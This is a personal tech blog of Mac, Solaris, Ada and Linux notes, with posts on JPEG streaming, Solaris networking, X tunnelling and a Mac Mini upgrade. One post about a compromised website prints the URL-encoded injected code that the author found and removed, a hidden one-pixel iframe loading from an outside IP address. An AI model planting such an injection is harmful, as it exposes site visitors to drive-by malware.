Adrenaline Hack
Wow! I’ve done it! Yes! Yes! Yes!
After a successful hack to receive a server-push JPEG stream from a video server (more story here), the next challenge for me was to display the JPEG in a GUI window.
I have been trying to get Carbon binding to work with gnat 4.3 on xcode but I am forced to abandon it for a while. I switched my target to GtkAda which will require X11 on Mac OS X. One plus side is that my application will be platform independent if I use Gtk/GtkAda. That means my application can be compiled and run on Linux, Solaris and Windows with the platform-independent GUI. More business may be and hopefully.
I was working to get GtkAda to work on my Mac since yesterday but I had corrupted some of the files I installed with Fink. Fortunately, I have a backup (actually I copied) on my MacBook but I guess I won’t need it anymore since the Gtk+2 and GtkAda are working on my Mac Mini. I will delete the copy on my MacBook later and install it with the working Gtk+/GtkAda.
I spent the entire morning and noon to write a single window, stripped down application to display the JPEG image I downloaded using the application I worked on earlier. I could not get the result. After many hours of hacking, I finally got it to work!
It is so rewarding to see it happens and I have got a good dose of adrenaline today. The feeling is difficult to describe. So it is difficult for other people to feel the excitement and the rewarding state of mind I am into.
The next challenge is to write an experimental application to continuously receive multiple streams of JPEG images and display them in multiple frames in a window, the last and toughest task with parallelism involving socket and GUI. After this, comes the serious software development by integrating all these experimental applications into a nice GUI application.
Server-Push JPEG Stream
I am working on a video server project since last week. This project is to develop a client software running on Mac OS X to control a video server and to retrieve streams of JPEG images from it. And of course, I am going to develop with Ada together with AWS (Ada Web Server).
Up to this point, I am able to connect to the video server with AWS and retrieve a stream of JPEG images from the video server. I have been able to manually extract JPEG images from the stream identified by SOI (0xFFD8) and EOI (0xFFD9). But some of the images extracted from the stream are not recognized as JPEG file while some images appeared to be corrupted. I am totally puzzled by this behavior.
Could it be the size of the stream buffer (512 bytes) causing the corruption? Could it be the output of the received stream to a disk file delay the receiving process?
Here’s a snip of my Ada code:
...
Data : Ada.Streams.Stream_Element_Array (1 .. 512);
...
loop
AWS.CLient.Read_Some (Connection, Data, Offset);
exit when Offset < Data'First or Count > 512_000;
Ada.Streams.Stream_IO.Write (File_Handler, Data);
Count := Count + Integer (Offset);
end loop;
...
It is quite fun spending entire day hacking the server-push stream and the JPEG images. It has been a long time since my last hacking. Welcome back to the reality!
Peculiar behavior of Sed
What is Sed?
Sed is the ultimate stream editor. If that sounds strange, picture a stream flowing through a pipe. Okay, you can’t see a stream if it’s inside a pipe. That’s what I get for attempting a flowing analogy. You want literature, read James Joyce.
Anyhow, sed is a marvelous utility. Unfortunately, most people never learn its real power. The language is very simple, but the documentation is terrible. The Solaris on-line manual pages for sed are five pages long, and two of those pages describe the 34 different errors you can get. A program that spends as much space documenting the errors than it does documenting the language has a serious learning curve.
You can read more about Sed here.
My project uses a thick binding of PostgreSQL/MySQL called APQ. APQ is a project by Warren and I helped to host it at my server. See my post here. The configure and make process are not really stable which I think is due to various version of MySQL and the Linux tools such as sed.
To build APQ, first, two MySQL include files, errmsg.h and mysqld_error.h need to be parsed. These files contain MySQL error codes and they need to be parsed and translated into Ada syntax. This translated Ada code will be inserted into apq_mysql.ads.
However, this parsing and translation process are not working correctly as they supposed to be. When I look into this problem, I found a peculiar abnormality. The parser uses sed. When I built APQ on Mac OS X, FC5 and Solaris (Intel), the result in apq_mysql.ads is not consistent on these different OS.
After I upgraded to Mac OS X 10.4.9, the parser refused to work with some error messages which I think caused by sed. I was mingling with the configure script until this hour. Suddenly, something struck my mind. Why do I need to mingle with configure? The problem is the parsing and it deserves the highest priority. The build configuration does not perform a thorough check of the environment but it still works fine at this point. So, I moved my priority to write a parser in Ada to solve the parsing problem. This light shed on me at this whee hour in the morning and I was really too tire to continue working on the parser.
Website security compromised
I noticed a drastic reduce of visitors to my website in February and March. I was wondering what was happening. On March 8, I suddenly received a notification email from Google Search Quality team informing that my website was a hazard to visitors and it might contain some malware or badware. I was shocked to know about it and I Googled for my site and found that my sites had been tagged “This site may harm your computer” and visitors could not access to my website following the link from Google search page.
With the help from my hosting provider, I found a piece of malicious obfuscated code in JavaScript had been intentionally embedded into one of the .PhP file. Part of the obfuscated code read like this:
%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E
I removed the malicious code from my .PhP script file and informed Google team. It really took them quite some time to remove my website from their list. A moment ago, I found out that my site has been de-listed from Google’s list of malicious websites.
Ironically, today I received an announcement from my web hosting provider that they implement HackerSafe Certification on all websites hosted with them. Here’s a snapshot of their newsletter:

I am all tied up to carefully inspect and decipher the code. Any taker?
What a stupid Digi service
I registered my mom’s Digi prepaid number at Digi’s Melaka Raya office using my MyKad. The man slotted my MyKad to a reader and after a while he confirmed that my line had been registered. Today, when I was trying to make a call from my mom’s Digi number, it said that no outgoing call was allowed. I checked the validity and it expires on 12/31. There are 3 more days before the validity expires. I am going to Digi office tomorrow to make hell lot of noise, for sure.
The prepaid registration drive is really hectic and stupid. The government thinks that it can deter unlawful use but I don’t think so. There are many other ways to obtain a prepaid cell phone numbers without needing to register with true identity. Like in Taiwan, prepaid cell phones need to be registered but they still have lots of problems with “ghost” cell phones. I was able to register one for myself without much fuss. An advanced country like Taiwan can’t even solve the problem and our country is thinking that it can. What a childish assumption! That makes the whole thing looks so stupid.
Another thing which I have observed is that personal information are revealed when someone register a prepaid cell service using MyKad at dealers. The dealers are equipped with MyKad reader and software to read personal details from MyKad and these information including address will be displayed on the computer screen. Women please beware of this. You may be tracked. Perpetrator may use these information to hunt you down. So, everyone, please beware when you are registering your prepaid cell service at dealers. Make sure they don’t copy your personal information. Your information displayed in the window can be easily copied by pressing ALT + Print Scrn. This will capture the current window instantly.
They think it is cool to register using MyKad and IT gadgets but that opens up a whole new opportunity for crimes. Please beware and make the government to change its policy that no one can read and display personal details without the presence of MyKad holder and these reader and software must be properly audited by trusted organization to make sure it does not save these information stealthily.
Mac Mini USB port hangs!
I tried to connect a USB card reader via an USB extension (1 to 1 port) which was connected to one of the USB port on Pluto. The power light on the reader came on and I inserted a CF card into the reader. The light on on the card slot did not turn on. I tried many times and still could not mount my CF card.
I unplugged the USB extension and connect the card reader directly to USB port and it was still unmountable. I unplugged the optical mouse from another USB port and plugged it into the troubled port. The red LED of the optical mouse did not turn on. I tried with a keyboard and had no response on the keyboard.
Finally, I decided to restart Pluto. After the restart, the troubled USB port works again. I wonder what caused the USB port to hang. Is it the USB extension? Is it a software glitch? I sure hope that it is not a hardware problem.
Weird formatting behavior
In my Solaris 10 post, there was a weird formatting behavior which troubled me in last 24 hours. The “#” were not aligned in same column. For example, it looks like this:
- Create two files in /etc
# echo 195.168.24.1 > /etc/defaultrouter # echo nameserver DNS_ip_address_1 >> /etc/resolv.conf # echo nameserver DNS_ip_address_2 >> /etc/resolv.conf
I came across Brian’s website and found his <pre> and <code> tags look great and I followed and modified his css stylesheet for my use. There was no problem before I added these tags because I used <blockquote> tag for this purpose. I could not solve the problem and I emailed Brian. After a couple of emails, I was still unable to solve the problem. In his last email, he said:
…I suspect it has something to do with the css code. Try commenting out the white-space and word-wrap commands from your pre tag style and see what happens…
The idea rang in my head and I did some experiments and found the culprit was the <ol> tag. It contains “text-indent:-5px;”. I edited the <ol> tag in the html of Solaris 10 post and the problem is resolved:
<ol style="text-indent:0px;">
Thanks Brian, if you are reading this.
Solaris 10
Pyxis1 was down two months ago. I decided to try to revive it last Friday. At first, I was thinking of installing either FC5 (Fedora Core 5) or Debian. On second thought, I have had enough with Linux. I am running SPARC/Solaris 9 on Pyxis2 (Sun Blade 150). I always wanted to try out Solaris 10 but I don’t want to mess with the existing Solaris 9 on Pyxis2. There is a saying, “Don’t fix thing if it ain’t broken.” and I always reminded myself. Pyxis1 has provided an opportunity to try out Solaris 10. So I started to search for the CDs which I received from Sun Microsystems. I found it but it was quite outdated compare to the 6/06 version on Sun’s server. I immediately began downloading 6 CDs.
The problem with Linux is that every distro has their own way of doing things. This is pretty obvious in configuration and config files. Although all distros are based on the same kernel, yet every distro has different kernel version and variation in configurtion of their kernel and software components. Another dreadful problem is the online updates which break the integrity of Linux and software components. A few weeks after my first successful installation of FC5, I performed an online updates and it instantly broke some working components. Although my FC5 is still working, I have problem with Desktop Login, displaying .png files, and some administration applications stop working as well.
Solaris 10 is an excellent UNIX operating system. It is currently free. The release and Sun’s OpenSolaris has stirred some uproar in the Open Source community and IT industry as a whole. Solaris 10 is a very impressive operating system in terms of some features no other operating system can claim and some are not necessarily new, but have been implemented in an excellent way. But yet it is not perfect. An obvious example is the detection and configuration of hardware, such as NIC and sound card, are not polished.
It is assumed that Solaris will not be installed by novice. The installation need humongous effort and is painful. The graphical installtion is resource hungry. Without the minimum 400MB RAM, the installation resort to console installation. The installation process is not well polished as aforementioned. But I believe, the future Solaris will receive plenty of improvement if Sun is heading to Linux territory. By that time, even the faint hearted novice would be able to install Solaris effortlessly.
Once the installation is completed, the operating system whirs swiftly, making the its old nickname “Slowlaris” not applicable.
Saturday evening I began the installation. After the first installation, I could not get my networking to work. I searched for posts and articles about problems with installing Solaris 10 on x86. I thought it might be some steps which I had overlook. At night, I installed it for second time. It was getting too late and I was tired and I left the installation to go on while I went to bed. I woke up early Sunday morning to finish the installation. Again, I was still having networking problem. After reading some posts, I started my own investigation.
First, I found out that the Solaris installation failed to detect and to configure my NIC. It was an integrated Intel 10/100 on Compaq Evo D510 Small Form Factor PC. I performed an “ifconfig -a” and only showed the loopback.
# ifconfig -a
lo0: flags=2001000849 mtu 8232 index 1
inet 127.0.0.1 netmask ff000000
Next, I needed to determine if my NIC was there. So I did:
# prtconf -pv
It returned some results and I look for “Ethernet controller”:
Node 0x000011
assigned-addresses: 82054010.00000000.f8500000.00000000.0000100
0.81054014.00000000.00001000.00000000.00000040
reg: 00054000.00000000.00000000.00000000.00000000.02054010.0000
0000.00000000.00000000.00001000.01054014.00000000.00000000.000
00000.00000040
compatible: 'pci8086,103b.e11.12.81' + 'pci8086,103b.e11.12' +
' pcie11,12' + 'pci8086,103b.81' + 'pci8086,103b' + 'pciclass,020000' +
'pciclass, 0200'
model: 'Ethernet controller'
power-consumption: 00000001.00000001
fast-back-to-back:
devsel-speed: 00000001
interrupts: 00000001
max-latency: 00000038
min-grant: 00000008
subsystem-vendor-id: 00000e11
subsystem-id: 00000012
unit-address: '8'
class-code: 00020000
revision-id: 00000081
vendor-id: 00008086
device-id: 0000103b
name: 'pcie11,12'
With this output, I was sure that I had my NIC on Pyxis1. From the identifying handle, “pci8086″, I was certain to use iprb interface for the configuration. These are the steps which I followed:
- In /etc/driver_aliases, add
iprb "pci8086,103b" - Reboot the system with
# touch /reconfigure; reboot - Setup iprb with
# ifconfig iprb0 plumb # ifconfig iprb0 inet 195.168.24.4 netmask 255.255.255.0 broadcast + # ifconfig iprb0 up - Creeat /etc/hostname.iprb0
# echo pyxis1 > /etc/hostname.iprb0 - In /etc/hosts, add
195.168.24.4 pyxis1 pyxis1 - Create two files in /etc
# echo 195.168.24.1 > /etc/defaultrouter # echo nameserver DNS_ip_address_1 >> /etc/resolv.conf # echo nameserver DNS_ip_address_2 >> /etc/resolv.conf - Edit /etc/nsswitch.conf and add dns to line
host: files dns - lastly
# route add deafult 195.168.24.1
After murdering millions of brain cells, the fun finally began. I login remotely from Pluto. Here are some screenshots of Solaris 10 on Pyxis1:
Migrated to WordPress
I accidentally deleted my personal website directory two days ago. Since I had deleted the directory, I took this opportunity to redesign my personal web site during this festive season. I installed WordPress to my personal directory and migrated two blogs, Tech Grotto and Malacca’s Glog. The migration was successful.
I had 94 posts in Tech Grotto which made categorizing difficult. Anyhow, I managed to categorized posts from both blogs. Later in the evening, I hacked the Water theme and WordPress PHP source to modify the Water theme and moved About and Project page to the new site.
Tunnel X over SSH
The drawback of Remote Desktop Login I posted 2 days ago is its slow speed. It takes a while to display the desktop login screen. Another drawback is it creates another X session at the server if you already have another running.
My laziness and desire to start up applications and finish the job quickly makes me look further into the world of remote access. This leads me to X tunneling over SSH.
With X tunneling over SSH, I am able to run X applications (Linux FC5) on my preferred Mac OS X desktop, Pluto. The screenshot shows that I am running KDE Control Center (Linux FC5 on triton1) on Pluto (Mac OS X).
This is how I do it:
- ForwardX11 needs to be enable. Edit /etc/ssh/ssh_config. Make sure you have ForwardX11Trusted yes is enabled in ssh_config.
- On Mac OS X, start X11. At terminal, type
$ ssh -X username@ip_address - Start any X applications you like.
Remote Desktop Login from Mac
Some friends told me the laziest programmer is the best and most creative programmer. When a person becomes older, he/she will become lazier.
Remote Desktop Login has been out there for some time ago. I did not try it. Remote Desktop Control has been useful for me occasionally. I had a bad experience with RDC when my Linux server crashed in early September. I was RDC from my SPARC/Solaris workstation. I stopped using RDC since then.
One drawback about RDC is that I have to login before I can access the desktop remotely.
Because of my eye condition, I feel lazy to switch between keyboards and mice and running from one room to another. I decided to check out Remote Desktop Login. It took me a while to understand. But after I tried it out, it was pretty easy though.
Here’s how I do it to login to SPARC/Solaris. Launch X11 from Mac OS X then
$ xhost +ip_address
$ Xnest :1 -query ip_address -geometry 1280x1024
According to some documentation, it is required to configure gdm on Linux boxes. I used the following to configure FC 5 (Fedora Core 5) box:
- Edit /etc/gdm/custom.conf
- Add RemoteGreeter=/usr/libexec/gdmlogin to [daemon] segment
- Under [xdmcp] segment, change the line Enable=false to Enable=true
- Restart gdm
With Remote Desktop Login, I don’t have to login before I remotely access the PC. It has also save me some money for investing in a KVM switch. I was thinking about hooking up some of my computers with a KVM switch. It will still be a mess with all the cables despite of its pricy tag. Remote Desktop Login is the best method for me at this moment. It allow me to become lazier because I no longer need to login at computers which I want access. I can login remotely, simple!
Jabra BT110 and Skype on Mac OS X
I tried to pair my Bluetooth headset, Jabra BT110, on my G3 iBook a few months ago but was not successful. I was using Tiger and Skype prior to version 1.5.x.

With my new Mac Mini, it does not come with a microphone and I have not been able to have audio Skype then. I suddenly thought of giving it a try a few minutes ago and it worked! Now, I am able to have audio Skype with friends and co-workers.
I am using Skype 1.5.0.80 on Mac OS X 10.4.7. Here are screenshots of my Bluetooth and Skype preference.


Rsync
RsyncX is a Mac OS X GUI tool for running rsync. It is easy to use and is able to generate scripts for network backup purposes. When a backup involves works, it will most likely not be done. RsyncX can schedule and automate the entire backup tasks so that users need not to bother about the backup anymore.
I am quite new with rsync. The scripts generated by RsyncX can help me to understand how rsync works. It is a great application.
I’ve setup RsyncX for backup of Users folders on Pluto to Nix. I usually name my computers after planetary/celestial objects. I decided to name my Mac Mini after Pluto because it has a moon called Nix (sounds like Nik). Nix is one of the two small moons of Pluto. Nix describes the 30GB (small) capacity of the HD I took out from my G3 iBook. Furthermore, Pluto is smaller than the moon of earth, hence well described the size of Mac Mini.
Here’s Uranus and Nix.
Memory upgrade
I collected 2 pieces of 1GB DDR2 SDRAM from vendor this Tuesday at PJ. I decided to spend a few more days to research HOWTO open the Mac Mini to perform the memory upgrade. One of the common and recommended (by Apple) method is to use a putty knife while the other less common but effective method is to use network cables to hook onto the clips of Mac Mini.
I tried the second method this evening but found it hard to catch the clip with the wire. I finally managed to hook onto the clip but did not manage to pull the clip to a “snap”. And there is a danger to cut the hand with the wire because it is slippery.
I decided to get a putty knife. After my dinner and a quick bath, out I went to a nearby shopping complex to buy a putty knife. It cost me RM1.70.
I took less than 5 minutes to open the Mac Mini with only two insertion. After opening up the casing, I found that the internal was different from the older Mac Mini (PPC version). The memory bay was not at the side. It was hidden under the drive cage. I managed to identify four (4) screws that hold the drive cage to the chassis. I unscrewed it but did not manage to flip the drive cage out. Fortunately, I was able to hold up the drive cage at the other end and allowed my finders to slip in to unsnap the memory latches and took out the two pieces factory fitted memory. I put in the new 2 x 1GB SDRAM, put back and tighten the screws on the drive cage and then put the Mac Mini back into her casing. I used some caution when snapping the Mac Mini into the casing. It was quite easy though.
The entire process took only 47 minutes.
Born Again
Although she sports a Core Duo 1.66GHz, with the default 512MB memory, she worked like a wheeze and sometimes, large applications like Acrobat Pro, iTunes 7 and Safari stopped responding.
I powered on and the boot up was faster. I quickly launched a few applications, like iTunes 7, Skype, Safari, Firefox, Mail, GimpShop, Acrobat Pro and NeoOffice. I could see increased speed and performance. Now my Mac Mini worked like a breeze.
Disc jammed in Mac Mini SuperDrive
I was trying to install some software from a CD on my new Mac Mini. While the drive was reading from the disc, I could hear loud chunk from the SuperDrive. After a while, the drive went silent and I could not eject the disc. I could hear a loud noise from the drive periodically as the drive was trying to spit the disc out. I restarted my Mac Mini but a blank white screen appeared. My face was as pale as the screen though.
I searched the web and Apple’s support forum and as well as the manual. I tried holding the mouse button and F12 while restarting but failed.
The problem of this front-slot-loading SuperDrive of Mac Mini is that it does not have a hole to allow force ejection using a paper clip.
What now?
I inserted a plastic ruler to see if something was stuck in the drive. I discovered a spring-loaded mechanism at the right side of the drive. To my surprise, this method works!
Insert a plastic ruler an inch deep about 2-3 cm from the right side of the drive.
Gently push the ruler towards the right end and wait for the next eject attempt by the drive.
Do not use force to lock the ruler into position. When you feel some resistance, withdraw the ruler and the disc will follow.
I found out discs with printed paper label of poor quality (thick and rough surface) will most likely jam in the drive. Good quality discs, such as from Apple, will sometime jam as well. The drive in Mac Mini is very thin. With all the electronics and mechanisms packed into a very thin drive shell, some discs of poor quality and thickness will stuck inevitably.






Listen to my podcast